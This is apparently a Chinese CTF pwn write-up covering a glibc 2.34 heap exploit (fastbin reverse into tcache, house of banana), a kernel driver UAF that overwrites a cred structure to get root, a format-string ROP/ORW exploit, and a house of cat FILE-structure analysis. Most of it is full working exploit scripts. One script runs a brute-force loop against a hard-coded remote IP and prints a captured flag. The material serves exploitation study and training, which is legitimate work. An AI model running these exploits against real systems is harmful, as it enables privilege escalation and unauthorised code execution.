pwn手记录题2

news2024/12/23 9:11:22

fastbin_reverse_into_tcache(2.34)

本题所使用的libc版本为2.34;(最新版
libc2.34版本已经没有了所谓的hook函数,甚至exit_hook(实际为某个函数指针)也已经不能够使用;能够利用的手法已经很少了;
在这里插入图片描述

  1. 高版本glibc堆的几种利用手法
  2. 浅谈glibc新版本保护机制以及绕过
  3. house of banana推荐看看
  4. glibc2.23分析house of banana

可以看到Free释放函数总共可以使用11次,而Allocate申请函数可以使用0x2e次;
如果按照fastbin_reverse_into_tcache的节奏来说,那么布局是如何的呢? 首先申请多块内容(19块以上),然后按释放次数来说,7次释放填充tcache,然后3次造成fastbin的double free,然后利用申请将tcache置空,再次申请的时候则fastbin将倒置入tcache之中,此时我们可以往已知地址上达成一次任意写,但是libc地址未知,故我们需要修改heap上的size域,进而再利用一次释放得到unsorted bin来泄露libc地址;此时我们就再也无法利用Free函数了,而且任意地址写也利用完了。那么接下来怎么办!这里卡了很久,我在思考,怎么减少Free函数的使用次数并达到相同的操作呢?
在这里插入图片描述
第一版exp:(仅仅泄露了libc、heap地址,无法继续下一步;

from pwn import *
context(log_level='debug',os='linux',arch='amd64')

binary = './pwn'
r = process(binary)
elf = ELF(binary,checksec=False)
libc = elf.libc

def Allocate(index,payload=b'/bin/sh\x00'):
    r.sendlineafter(": ",'1')
    r.sendlineafter("Index: ",str(index))
    r.sendlineafter("Content: ",payload)

def Free(index):
    r.sendlineafter(": ",'2')
    r.sendlineafter("Index: ",str(index))

def Show(index):
    r.sendlineafter(": ",'3')
    r.sendlineafter("Index: ",str(index))
    r.recvuntil("Content: ")
    return r.recvuntil('\n')[:-1]

start = lambda : r.sendlineafter("notebook will be? :",str(0x2d))
Exit  = lambda : r.sendlineafter(": ",'4')

start()
#Allocate(0,b'a'*0x10+p64(0)+p64(0x461))
for i in range(0,19):
    Allocate(i)
for i in range(9):
    Free(i)
ptr = u64(Show(0).ljust(8,b'\x00'))
next = u64(Show(1).ljust(8,b'\x00'))
heap_addr = (next ^ ptr) - 0x410

Free(7)#fastbin double free

for i in range(4):
    Allocate(19 + i)

Allocate( 23,p64((heap_addr>>12)^(heap_addr+0x4b0))+p64(0)+p64(0)+p64(0x41) )
Allocate( 24,b'a'*0x10+p64(0)+p64(0x41)+p64((heap_addr>>12)^(heap_addr+0x490)) )
Allocate( 25,b'b'*0x10+p64(0)+p64(0x41)+p64((heap_addr>>12)^(heap_addr+0x470)) )
Allocate( 26,p64((heap_addr>>12)^(heap_addr+0x430)) )

Allocate(27)
Allocate(28)
Allocate(29,b'c'*0x10+p64(0)+p64(0x441))
Free(1)
libc_base = u64(Show(1).ljust(8,b'\x00')) - 0x218CC0

Allocate( 30,b'd'*0x10+p64(0)+p64(0x41)+p64((heap_addr>>12)^(heap_addr+0x470)) )
success("heap_addr -> "+hex(heap_addr))
success("libc_base -> "+hex(libc_base))
gdb.attach(r)
Exit()

r.interactive()

在思考许久之后,终于发现了一种方法;首先7次释放填充tcache,1次释放填充fastbin,接下来就精彩了,我们申请1块tcache,此时bins之中存在6块tcache、1块fastbin,那么我们再次释放掉这1块fastbin,这1块fastbin将会填充到tcache之中,而不会接受任何的检测;同时我们在接下来申请7块的内容之中布置好fastbin的fd指针,那么利用fastbin_reverse_into_tcache将会得到新的一个已布置好的倒置的fastbin链(tcache链);利用这个链条我们可以满足释放unsorted bin的同时,并且获取到了任意地址写;
这里我采用了house of banana(我并不知道是否使用于libc2.34,但是2.31应该是使用的,不过查阅资料应该是可以的?
这里伪造好了link_map,但是没有获取权限,而我想调试深入分析exit函数,但是没有符号表,而我的glibc-all-in-one下载不了最新版本的libc,导致我需要去自行编译libc(很麻烦
第二版exp:

from pwn import *
context(log_level='debug',os='linux',arch='amd64')

binary = './pwn'
r = process(binary)
elf = ELF(binary,checksec=False)
libc = elf.libc

def Allocate(index,payload=p32(0x9)*8):
    r.sendlineafter(": ",'1')
    r.sendlineafter("Index: ",str(index))
    r.sendafter("Content: ",payload)

def Free(index):
    r.sendlineafter(": ",'2')
    r.sendlineafter("Index: ",str(index))

def Show(index):
    r.sendlineafter(": ",'3')
    r.sendlineafter("Index: ",str(index))
    r.recvuntil("Content: ")
    return r.recvuntil('\n')[:-1]

start = lambda : r.sendlineafter("notebook will be? :",str(0x2d))
Exit  = lambda : r.sendlineafter(": ",'4')
one = [0xeeccc,0xeeccf,0xeecd2]

start()
#Allocate(0,b'a'*0x10+p64(0)+p64(0x461))
for i in range(0,19):
    Allocate(i)
for i in range(8):
    Free(i)
ptr = u64(Show(0).ljust(8,b'\x00'))
next = u64(Show(1).ljust(8,b'\x00'))
heap_addr = (next ^ ptr) - 0x410

Allocate(19)# tcache_count = 6
Free(7)# double free fasbin[0] == tcache[0]

Allocate( 21,p64((heap_addr>>12)^(heap_addr+0x500)) )# fastbin[0]
Allocate( 22,p64((heap_addr>>12)^(heap_addr+0x500)) )
Allocate( 23,p64((heap_addr>>12)^(heap_addr+0x4c0)) )
Allocate( 24,p64((heap_addr>>12)^(heap_addr+0x4a0)) )
Allocate( 25,p64((heap_addr>>12)^(heap_addr+0x440))+p64(0)*2+p64(0x41)+p64((heap_addr>>12)^(heap_addr+0x480)) )
Allocate( 26,p64((heap_addr>>12)^(heap_addr+0x400)) )
Allocate( 27,p64((heap_addr>>12)^(heap_addr+0x420))+p64(0)*2+p64(0x41)+p64(ptr) )# unsortedbin.size伪造

Allocate( 28 )# fastbin reverse into tcache
Allocate( 29,p64(0)*3+p64(0x441) )
Allocate( 30,p64(0)*5+p64(heap_addr+0x410) )# *(fake+0x28)=fake
Allocate( 31 )# *(fake+0x48)=fake+0x58, *(fake+0x50)=0x8, *(fake+0x58)=shell
Free(1)
libc_base = u64(Show(1).ljust(8,b'\x00'))-0x218CC0
target = libc_base + 0x228010 - 0x10

Allocate( 32 )
Allocate( 33,p64(0)*3+p64(0x41)+p64((heap_addr>>12)^target) )
Allocate( 34 )
Allocate( 35,p64(libc_base)+p64(libc_base+0x260FC0)+p64(libc_base+0x217BC0)+p64(heap_addr+0x450)+p64(libc_base+0x2607D0)+p64(libc_base+0x228000) )

Allocate( 36,p64(0)*5+p64(heap_addr+0x450) )# *(fake+0x28)=fake
Allocate( 37,p64(0)+p64(heap_addr+0x4a8)+p64(0x8)+p64(libc_base+one[0]) )# *(fake+0x48)=fake+0x58, *(fake+0x50)=0x8, *(fake+0x58)=shell
Allocate( 38 )
Allocate( 39 )
Allocate( 40,p64(0)*2+p64(heap_addr+0x490)+p64(0)+p64(heap_addr+0x498) )
success("heap_addr -> "+hex(heap_addr))
success("libc_base -> "+hex(libc_base))
success(hex(target))
success(hex(libc_base+one[0]))
#gdb.attach(r)
Exit()

r.interactive()

kernel pwn1(xm)

该题目是个kernel;改自baby driver[2017UAF];原题就曾使用了fork函数开启进程,修改cred结构体uid以及euid为0从而提权;但是本题却也可以使用这种方法来提权(wp)
如下为start.sh文件内容,这里我修改了-m 64M为-m 256M,如果内存给予64M大小可能导致运行缓慢甚至无法运行,故我们给予其较大内存,一般来说256M大小足以。并且添加了参数-s,该参数为调试参数,端口默认为1234,此时我们便可以使用gdb远程连接1234端口进行调试;

#!/bin/sh

qemu-system-x86_64  \
-m 256M \
-cpu kvm64,+smep,+smap \
-s \
-kernel ./bzImage \
-initrd rootfs.img \
-nographic \
-append "console=ttyS0 nokaslr quiet"

cpio -idv < ./rootfs.img使用该命令可以将磁盘文件解压,同时可以发现其中的init文件,init文件即为内核启动后第一件要做的事情;如下可以发现insmod /test1.ko该命令,使用LKM(Loadable Kernel Modules)(其实可以理解为加载内核mod,mod就类似于打印机一般的外部设备)加载test1.ko;故该附件即为我们要分析的内容。

#!/bin/sh

mkdir /tmp
mount -t proc none /proc
mount -t sysfs none /sys
mount -t debugfs none /sys/kernel/debug
mount -t devtmpfs devtmpfs /dev
mount -t tmpfs none /tmp
mdev -s
echo -e "Boot took $(cut -d' ' -f1 /proc/uptime) seconds"

insmod /test1.ko
chmod 666 /dev/test1
poweroff -d 120 -f &
setsid /bin/cttyhack setuidgid pwn /bin/sh 

poweroff -d 0  -f

首先分析函数:(test1.ko文件分析
在这里插入图片描述
驱动程序的入口函数为init函数,结束函数为exit函数,如上所示即为初始化函数,其实一般情况下,如下三个函数便完成了对一个简单的dev设备的注册申请等操作;test1_major是设备号,test1_cdev设备的结构体,test1_fops设备的文件操作函数,也就是open、read、write等对于该设备的函数;

(*(__int64 (__fastcall **)(dev_t *, _QWORD, __int64, const char *))alloc_chrdev_region.gap0)(// 向内核申请设备号
         &test1_major,                          // 向内核申请下来的设备号
         0LL,                                   // 次设备号的起始
         1LL,                                   // 申请设备号的个数
         "test1")
cdev_init(&test1_cdev, &test1_fops);			//可以理解为test1_cdev与test1_fops捆在了一起
cdev_add(&test1_cdev, dev_Num, 1LL);			//可以理解为再将dev_Num和test1_cdev捆在了一起

而漏洞位于open函数:
在这里插入图片描述
这里比较难以理解,我们位于用户态打开open(“/dev/test1”);设备,那么位于内核态之中设备的信息储存在root_buffer全局变量之中,那么我们在此位于用户态指向open(“/dev/test1”);操作,那么root_buffer全局变量将储存着我们第二次open的信息,第一次open丢失了,这不就像用户态上的UAF吗?不过该UAF较难理解;
如下我们再结合write函数进行查看,如果我们写入内容大于32则执行_kmalloc(写入大小, 0x24000C0LL);操作,此时我们相当于有了申请任意大小内核空间的一个函数啦;
在这里插入图片描述
此时假如我们申请了一个有0xa8(cred结构体大小的chunk),并且释放掉该结构体,利用fork函数新建进程申请cred结构体时造成UAF,进而修改uid等数值为0从而完成提权的操作;(编译exp需要静态编译,因为动态链接大概率因为环境问题而无法运行;

// gcc -s exp.c -o exp && gzip exp

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/wait.h>

int main()
{
    int fd1, fd2, pid;
    char buf[0x100];
    memset(buf, 'a', 0x100);

    fd1 = open("/dev/test1", O_RDWR);
    fd2 = open("/dev/test1", O_RDWR);

    write(fd1, buf, 0xa8);
    read(fd1, buf, 0xa8);
    close(fd1);

    pid = fork();

    if(!pid)
    {
        memset(buf, 0, 0x100);
        write(fd2, buf, 0x1c);
        if(getuid() == 0)
        {
            system("/bin/sh");
        }
        else
        {
            puts("Failed!");
        }
    }
    else
    {
        wait(NULL);
    }

    return 0;
}

调试:

Boot took 1.38 seconds
/ $ cat /proc/kallsyms | grep test1
ffffffffc00008a0 b __key.25704	[test1]
ffffffffc0000070 t test1_read	[test1]
ffffffffc00004c0 d __this_module	[test1]
ffffffffc00002d0 t cleanup_module	[test1]
ffffffffc0000890 b used	[test1]
ffffffffc000088c b length	[test1]
ffffffffc00001a0 t init_module	[test1]
ffffffffc0000000 t test1_open	[test1]
ffffffffc0000800 b test1_class	[test1]
ffffffffc00002d0 t test1_exit	[test1]
ffffffffc0000888 b test1_major	[test1]
ffffffffc0000820 b test1_cdev	[test1]
ffffffffc00001a0 t test1_init	[test1]
ffffffffc00000f0 t test1_write	[test1]
ffffffffc00003e0 d test1_fops	[test1]
ffffffffc0000040 t test1_release	[test1]
ffffffffc0000898 b test1_buffer	[test1]
/ $ lsmod 
test1 2835 0 - Live 0xffffffffc0000000 (OE)
/ $ 

可以利用如上所示找到驱动的地址;
在这里插入图片描述
然后便可以利用gdb进行调试,这里建议内核调试使用gef来进行调试;
参考链接: 内核API


babyfmt(xm)

该题常规格式化字符串漏洞,难度不大,但是过程复杂(因为调试的头都大了)

char format[136]; // [rsp+0h] [rbp-90h] BYREF
unsigned __int64 v2; // [rsp+88h] [rbp-8h]

v2 = __readfsqword(0x28u);
Read((unsigned __int8 *)format, 0x80);
printf(format);                               // 格式化字符串漏洞
putchar(10);
return __readfsqword(0x28u) ^ v2;

没有溢出,但是存在格式化字符串,而且仅仅可输入0x80大小,并且PIE等保护全开;并且开启了沙盒保护
这导致我们需要很多次泄露,并且ROP布局栈时需要不只一次输入;总结来说,难度位于第一次输入应该如何泄露地址并且重新返回main函数,通过查看stack的情况,可以发现rsp+8地址处存在着指向rbp指针(Glibc2.31),这意味着我们第一次输入只能输入8字节+1字节爆破,经过不断思考发现b’%p%7$hhn’+b’\x18’存在着1/16概率爆破重新返回该函数,注意,不能返回main函数,因为prctl函数以及setvbuf无法通过;
后来发现附件Glibc为2.27,修改后就无需上面这种技巧了,因为此时rsp+0x10地址处存在着指向rbp指针,多出8字节便宽限了很多,不过位于Glibc2.31可以依靠上面的payload来通过(并且可以泄露出栈地址);
payload1有了,那么以后的payload可以逐步泄露出libc地址、code地址等;然后布局ROP获得一次超大的写入操作,然后一次性布置完栈进而完成orw(open不能返回与Glibc[‘open’],因为该open没有采用sys_number=2的open,而是__NR_openat 257,需要找到Glibc中的syscall指令手动进入sys_open之中;
如下,为第一版exp,我直接布置栈,太复杂了,故后来换成了利用ret2csu来完成;(减少了复杂度

def pwn(over = b'\x18'):
    #r = process(binary)
    # b'%p%7$hhn'+b'\x18'修改__libc_start_main函数,但是prctl函数以及setvbuf无法通过;
    payload1 = b'%x%8$hhn'+b'a'*8+over # 修改main函数子函数
    sleep(0.3)
    r.send(payload1)
    stack_addr = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
    
    payload2 = b'%7c%10$hhn%137c%11$hhn%29$p%25$p'+p64(stack_addr+0x30)+p64(stack_addr+0x10)
    sleep(0.3)
    r.send(payload2)
    r.recvuntil(b'0x')
    code_addr = int(r.recv(12),16)-0xB6A
    r.recvuntil(b'0x')
    libc_base = int(r.recv(12),16)-0x21B97
    #=======================format=======================
    payload3 = b'%144c%20$hhncccc'
    payload3 += fmtstr_payload(8,{stack_addr+0x20:pop_rsi_r15_ret+code_addr},numbwritten=0x94,write_size='byte')+p64(stack_addr+0x10)
    sleep(0.3)
    r.send(payload3.ljust(0x80,b'\x00'))# pop_rsi_r15_ret+code_addr
    
    payload4 = b'%144c%17$hhncccc'#stack_addr+0x38:0
    payload4 += fmtstr_payload(8,{stack_addr+0x18:0,stack_addr+0x28:0},numbwritten=0x94,write_size='byte')+p64(stack_addr+0x10)
    sleep(0.3)
    r.send(payload4.ljust(0x80,b'\x00'))# 0 0
    
    payload5 = b'%144c%16$hhncccc'
    payload5 += fmtstr_payload(8,{stack_addr+0x38:pop_rdx_ret+libc_base},numbwritten=0x94,write_size='short')+p64(stack_addr+0x10)
    sleep(0.5)
    r.send(payload5.ljust(0x80,b'\x00'))# pop_rdx_ret
    
    payload6 = b'%144c%16$hhncccc'
    payload6 += fmtstr_payload(8,{stack_addr+0x48:pop_rax_ret+libc_base},numbwritten=0x94,write_size='short')+p64(stack_addr+0x10)
    sleep(0.5)
    r.send(payload6.ljust(0x80,b'\x00'))# pop_rax_ret
    
    payload7 = b'%144c%16$hhncccc'
    payload7 += fmtstr_payload(8,{stack_addr+0x40:0x300,stack_addr+0x50:0},numbwritten=0x94,write_size='short')+p64(stack_addr+0x10)
    sleep(0.5)
    r.send(payload7.ljust(0x80,b'\x00'))# 0 0
    gdb.attach(r,'b *0x555555400b35')
    #payload8 = b'%144c%16$hhncccc'
    payload8 = fmtstr_payload(6,{stack_addr+0x10:pop_rdi_ret,stack_addr+0x58:read_plt},write_size='byte')
    sleep(0.5)
    r.send(payload8.ljust(0x80,b'\x00'))
    success("stack_addr -> "+hex(stack_addr))
    success("code_addr  -> "+hex(code_addr))
    success("libc_base  -> "+hex(libc_base))

首先我位于地址随机化关闭的情况下本地测试,通过后开始地址随机化开始本地爆破测试,最后开始对比本地Glibc与远程Glibc所不一样的地址情况进行修改,最终远程测试通过(这步因为无法远程调试,所以需要特别细心,小心查看地址的不通,往往一个地址情况不同,则远程将失败;

from pwn import *
context(os='linux',arch='amd64')
#context.log_level = 'debug'

binary = './babyfmt'
#r = process(binary)
elf = ELF(binary)
#libc = elf.libc
libc = ELF('./libc-2.27.so')

read_got = elf.got['read']
pop_rdi_ret = 0x0000000000000bf3
pop_rsi_r15_ret = 0x000000000bf1
pop_rdx_ret = 0x0000000000001b96#0x0000000000001b96#Glibc
pop_rax_ret = 0x000000000001b500#0x00000000000439c8#Glibc
push_rax_ret= 0x000000000001b4d0#0x000000000003dfed#Glibc
syscall =     0x0E41F5#0x0E4545#Glibc   LINUX - sys_uname
one1 = 0x0BEA
one2 = 0x0BD0
def pwn(over = b'\x18'):
    #r = process(binary)
    # b'%p%7$hhn'+b'\x18'修改__libc_start_main函数,但是prctl函数以及setvbuf无法通过;
    payload1 = b'%x%8$hhn'+b'a'*8+over # 修改main函数子函数
    sleep(0.3)
    r.send(payload1)
    stack_addr = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))

    payload2 = b'%7c%10$hhn%121c%11$hhn%29$p%25$p'+p64(stack_addr+0x30)+p64(stack_addr+0x10)
    sleep(0.3)
    try:
        r.send(payload2)
        r.recvuntil(b'0x')
        code_addr = int(r.recv(12),16)-0xB6A
        r.recvuntil(b'0x')
        libc_base = int(r.recv(12),16)-0x021C87#-0x21B97
    except:
        return 0
#=======================format=======================
    payload3 = b'%128c%18$hhncccc'
    payload3 += fmtstr_payload(8,{stack_addr+0x18:0,stack_addr+0x20:1},numbwritten=0x84,write_size='byte')+p64(stack_addr+0x10)
    sleep(0.3)
    r.send(payload3.ljust(0x80,b'\x00'))# rbx rbp
    
    payload4 = b'%128c%16$hhncccc'
    payload4 += fmtstr_payload(8,{stack_addr+0x28:read_got+code_addr},numbwritten=0x84,write_size='short')+p64(stack_addr+0x10)
    sleep(0.3)
    r.send(payload4.ljust(0x80,b'\x00'))# r12 -> call
    
    payload5 = b'%128c%16$hhncccc'
    payload5 += fmtstr_payload(8,{stack_addr+0x38:stack_addr+0x50},numbwritten=0x84,write_size='short')+p64(stack_addr+0x10)
    sleep(0.3)
    r.send(payload5.ljust(0x80,b'\x00'))# r14 -> rsi
    
    payload6 = b'%128c%19$hhncccc'
    payload6 += fmtstr_payload(8,{stack_addr+0x48:code_addr+one2,stack_addr+0x40:0x300},numbwritten=0x84,write_size='short')+p64(stack_addr+0x10)
    sleep(0.3)
    r.send(payload6.ljust(0x80,b'\x00'))# onegadget -> ret
    #gdb.attach(r)
    payload7 = b'%15$llnd'
    payload7 += fmtstr_payload(7,{stack_addr+0x10:code_addr+one1},numbwritten=1,write_size='short',strategy='small')+p64(stack_addr+0x30)
    sleep(0.3)
    r.send(payload7.ljust(0x80,b'\x00'))# ret

    payload8 = b'e'*8+flat({
        0x30: pop_rdi_ret+code_addr ,
        0x38: stack_addr+0x158 ,
        0x40: pop_rsi_r15_ret+code_addr ,
        0x48: 0 ,
        0x50: 0 ,
        0x58: pop_rax_ret+libc_base ,
        0x60: 2 ,
        0x68: syscall+libc_base ,#open
        0x70: pop_rdi_ret+code_addr ,
        0x78: 3 ,                                   #rdi
        0x80: pop_rsi_r15_ret+code_addr ,
        0x88: code_addr+0x0202020 ,                 #rsi
        0x90: 0 ,           
        0x98: pop_rdx_ret+libc_base ,
        0xa0: 0x70 ,                                #rdx
        0xa8: libc.symbols['read']+libc_base ,
        0xb0: pop_rdi_ret+code_addr ,
        0xb8: 1 ,
        0xc0: libc.symbols['write']+libc_base ,
        0xc8: 0 ,
        0x100:"./flag\x00"
    })
    sleep(0.3)
    r.send(payload8)
    success("stack_addr -> "+hex(stack_addr))
    success("code_addr  -> "+hex(code_addr))
    success("libc_base  -> "+hex(libc_base))
    flag = r.recvuntil(b'}')
    info("+ flag: " + str(flag))
    pause()
    return 1

offset = 6
#gdb.attach(r,'b *0x555555400b35')
#pwn()

flag = True
while(flag):
    #r = process(binary)
    r = remote('106.54.163.94', 20004)
    try:
        #gdb.attach(r)
        if( pwn(b'\xb8') ):
            flag = False
    except:
        r.close()

效果如下:
在这里插入图片描述
XMctf{b4ac9dde-0b50-11ed-b333-52540042cee3}


House of cat(强网杯2022)

位于/malloc/malloc.c之中可以发现__malloc_assert的定义,并且__assert_fail等同于__malloc_assert:

# define __assert_fail(assertion, file, line, function)			\
	 __malloc_assert(assertion, file, line, function)

extern const char *__progname;

static void
__malloc_assert (const char *assertion, const char *file, unsigned int line,
		 const char *function)
{
  (void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.\n",
		     __progname, __progname[0] ? ": " : "",
		     file, line,
		     function ? function : "", function ? ": " : "",
		     assertion);
  fflush (stderr);
  abort ();
}

而位于/assert/assert.h之中可以发现assert调用了__assert_fail函数,该函数的功能是当断言失败的时候,程序将会执行__assert_fail函数,而位于/malloc/malloc.c宏定义了__assert_fail__malloc_assert函数,故位于malloc之中的断言错误将会执行__malloc_assert函数

#  define assert(expr)							\
     (static_cast <bool> (expr)						\
      ? void (0)							\
      : __assert_fail (#expr, __FILE__, __LINE__, __ASSERT_FUNCTION))

回到__malloc_assert函数之中,可以发现,还存在着一个IO流函数__fxprintf

#define _IO_SYNC(FP) JUMP0 (__sync, FP)

#define JUMP0(FUNC, THIS) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS)

# define _IO_JUMPS_FUNC(THIS) \
  (IO_validate_vtable                                                   \
   (*(struct _IO_jump_t **) ((void *) &_IO_JUMPS_FILE_plus (THIS)	\
			     + (THIS)->_vtable_offset)))

此时我们便分析一下IO流函数__fxprintf

int
__fxprintf (FILE *fp, const char *fmt, ...)
{...
  int res = __vfxprintf (fp, fmt, ap, 0);...
}

int
__vfxprintf (FILE *fp, const char *fmt, va_list ap,
	     unsigned int mode_flags)
{...
  int res = locked_vfxprintf (fp, fmt, ap, mode_flags);...
}

static int
locked_vfxprintf (FILE *fp, const char *fmt, va_list ap,
		  unsigned int mode_flags)
{
  if (_IO_fwide (fp, 0) <= 0)
    return __vfprintf_internal (fp, fmt, ap, mode_flags);...
}

故我们着重分析一下__vfprintf_internal函数,实际上存在着隐藏着的定义vfprintf函数:

# define vfprintf	__vfprintf_internal
采用了这种方法进行隐藏函数具体实现,需要通过搜索字符来判断真正函数实现位置
int
vfprintf (FILE *s, const CHAR_T *format, va_list ap, unsigned int mode_flags)
{...  
}
汇编如下(关键位置
   0x7f47b602c1bd    mov    rsi, qword ptr [rsp + 8]
   0x7f47b602c1c2    mov    rdx, rbx
   0x7f47b602c1c5    mov    rdi, rbp
 ► 0x7f47b602c1c8    call   qword ptr [r12 + 0x38]        <_IO_wfile_seekoff>
        rdi: 0x5574e203fb00 ◂— 0x0
        rsi: 0x7f47b6195208 ◂— "%s%s%s:%u: %s%sAssertion `%s' failed.\n"
        rdx: 0x0
        rcx: 0x7f47b61cca00 ◂— 0x0
寄存器r12之中储存着_IO_FILE_plus.vtable指针,根据该指针偏移0x38,同样我们可以修改vtable指针偏移,那么将可以进入到vtable指针所指虚表之中所有的call地址;
修改vtable指针+0x10,此时将会进入到_IO_wfile_seekoff之中;

不过对于vtable指针存在着检查
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
  /* Fast path: The vtable pointer is within the __libc_IO_vtables
     section.  */
  uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
  uintptr_t ptr = (uintptr_t) vtable;
  uintptr_t offset = ptr - (uintptr_t) __start___libc_IO_vtables;
  if (__glibc_unlikely (offset >= section_length))
    /* The vtable pointer is not in the expected section.  Use the
       slow path, which will terminate the process if necessary.  */
    _IO_vtable_check ();
  return vtable;
}
翻译成汇编部分:
   0x7fb58eded180    mov    r12, qword ptr [rbp + 0xd8]
   0x7fb58eded187    lea    rax, [rip + 0x1a15da]
   0x7fb58eded18e    mov    rbx, qword ptr [rsp + 0x68]
   0x7fb58eded193    lea    rcx, [rip + 0x1a0866]
   0x7fb58eded19a    sub    rax, qword ptr [rip + 0x1a2677]
   0x7fb58eded1a1    sub    rbx, qword ptr [rsp + 8]
   0x7fb58eded1a6    mov    qword ptr [rsp + 0x30], rax
   0x7fb58eded1ab    mov    rdi, rax
   0x7fb58eded1ae    mov    rax, r12
   0x7fb58eded1b1    sub    rax, rcx
   0x7fb58eded1b4    cmp    rdi, rax
 ► 0x7fb58eded1b7    jbe    0x7fb58edeea50                <0x7fb58edeea50>
 同样的,寄存器r12之中储存着vtable指针,经过一定运算cmp    rdi, rax最后进行比较,跳转;

此时我们查看_IO_wfile_seekoff函数,并进入_IO_switch_to_wget_mode函数之中查看:

off64_t
_IO_wfile_seekoff (FILE *fp, off64_t offset, int dir, int mode)
{
  if (mode == 0)//mode不能为0,否则将进入do_ftell_wide (fp)函数
    return do_ftell_wide (fp);

  int must_be_exact = ((fp->_wide_data->_IO_read_base
			== fp->_wide_data->_IO_read_end)
		       && (fp->_wide_data->_IO_write_base
			   == fp->_wide_data->_IO_write_ptr));

  bool was_writing = ((fp->_wide_data->_IO_write_ptr
		       > fp->_wide_data->_IO_write_base)
		      || _IO_in_put_mode (fp));//需要fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base

  if (was_writing && _IO_switch_to_wget_mode (fp))//was_writing 为1则会执行_IO_switch_to_wget_mode (fp)函数
    return WEOF;...
}
此时将进入如下函数
int
_IO_switch_to_wget_mode (FILE *fp)
{
  if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)
    if ((wint_t)_IO_WOVERFLOW (fp, WEOF) == WEOF)
      return EOF;...
}
libc_hidden_def (_IO_switch_to_wget_mode)
而_IO_WOVERFLOW则为宏定义,此时我们可以执行WJUMP1 (__overflow, FP, CH)
#define _IO_WOVERFLOW(FP, CH) WJUMP1 (__overflow, FP, CH)
#define WJUMP1(FUNC, THIS, X1) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)
#define _IO_WIDE_JUMPS_FUNC(THIS) _IO_WIDE_JUMPS(THIS)

#define _IO_WIDE_JUMPS(THIS) \
  _IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE, _wide_data)->_wide_vtable

#define _IO_CAST_FIELD_ACCESS(THIS, TYPE, MEMBER) \
  (*(_IO_MEMBER_TYPE (TYPE, MEMBER) *)(((char *) (THIS)) \
				       + offsetof(TYPE, MEMBER)))

#define _IO_MEMBER_TYPE(TYPE, MEMBER) __typeof__ (((TYPE){}).MEMBER)
这么多宏定义,实际上是个call指令,进入虚表而已;
最终执行
   0x7fb58edfbd30 <_IO_switch_to_wget_mode>       endbr64
   0x7fb58edfbd34 <_IO_switch_to_wget_mode+4>     mov    rax, qword ptr [rdi + 0xa0]				//rax取_wide_data指针
   0x7fb58edfbd3b <_IO_switch_to_wget_mode+11>    push   rbx										//push 0
   0x7fb58edfbd3c <_IO_switch_to_wget_mode+12>    mov    rbx, rdi									//rbx取fake_io_file
   0x7fb58edfbd3f <_IO_switch_to_wget_mode+15>    mov    rdx, qword ptr [rax + 0x20]				//rdx取_wide_data->IO_write_ptr 
   0x7fb58edfbd43 <_IO_switch_to_wget_mode+19>    cmp    rdx, qword ptr [rax + 0x18]				//cmp _wide_data->_IO_write_base
   0x7fb58edfbd47 <_IO_switch_to_wget_mode+23>    jbe    _IO_switch_to_wget_mode+56                <_IO_switch_to_wget_mode+56>

   0x7fb58edfbd49 <_IO_switch_to_wget_mode+25>    mov    rax, qword ptr [rax + 0xe0]				//rax取_wide_data指针偏移0xe0
   0x7fb58edfbd50 <_IO_switch_to_wget_mode+32>    mov    esi, 0xffffffff0x7fb58edfbd55 <_IO_switch_to_wget_mode+37>    call   qword ptr [rax + 0x18]						//call

下面是_IO_FILE_plus结构体的定义等;

struct _IO_FILE
{
  int _flags;		/* High-order word is _IO_MAGIC; rest is flags. */

  /* The following pointers correspond to the C++ streambuf protocol. */
  char *_IO_read_ptr;	/* Current read pointer */
  char *_IO_read_end;	/* End of get area. */
  char *_IO_read_base;	/* Start of putback+get area. */
  char *_IO_write_base;	/* Start of put area. */
  char *_IO_write_ptr;	/* Current put pointer. */
  char *_IO_write_end;	/* End of put area. */
  char *_IO_buf_base;	/* Start of reserve area. */
  char *_IO_buf_end;	/* End of reserve area. */

  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */

  struct _IO_marker *_markers;//0x60

  struct _IO_FILE *_chain;//0x68

  int _fileno;
  int _flags2;//0x70
  __off_t _old_offset; /* This used to be _offset but it's too small.  */ //0x78

  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;//0x80
  signed char _vtable_offset;
  char _shortbuf[1];//0x84

  _IO_lock_t *_lock;//0x88
#ifdef _IO_USE_OLD_IO_FILE
};
结构体_IO_FILE_complete,进入_IO_wfile_seekoff函数将采用该结构体
struct _IO_FILE_complete
{
  struct _IO_FILE _file;//0x88
#endif
  __off64_t _offset;//0x90
  /* Wide character stream stuff.  */
  struct _IO_codecvt *_codecvt;//0x98
  struct _IO_wide_data *_wide_data;//0xa0
  struct _IO_FILE *_freeres_list;//0xa8
  void *_freeres_buf;//0xb0
  size_t __pad5;//0xb8
  int _mode;//0xc0
  /* Make sure we don't get into trouble again.  */
  char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];//0xc8
};//0xd8

整理得:

条件
(S)->_flags & _IO_UNBUFFERED == 0(即(S)->_flags & 2 == 0									//该处无需刻意注意,一般此时该位置都为0
fake_io_file+0x90 = _wide_data(指针)														//这里我们假设指向fake_io_file+0x30位置
mode != 0
fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base(fp即是我们伪造的fake_io_file
//那么这条语句则为 fake_io_file+0x50 > fake_io_file+0x48
fp->_lock是一个可写地址				//要经过宏定义_IO_lock_lock的处理,需要作为指针并写入值操作
如下为布局:
0x556d2583bb00: 0x0000000000000000      0x0000000000000421		//fake_io_file
0x556d2583bb10: 0x0000000000000000      0x0000000000000000
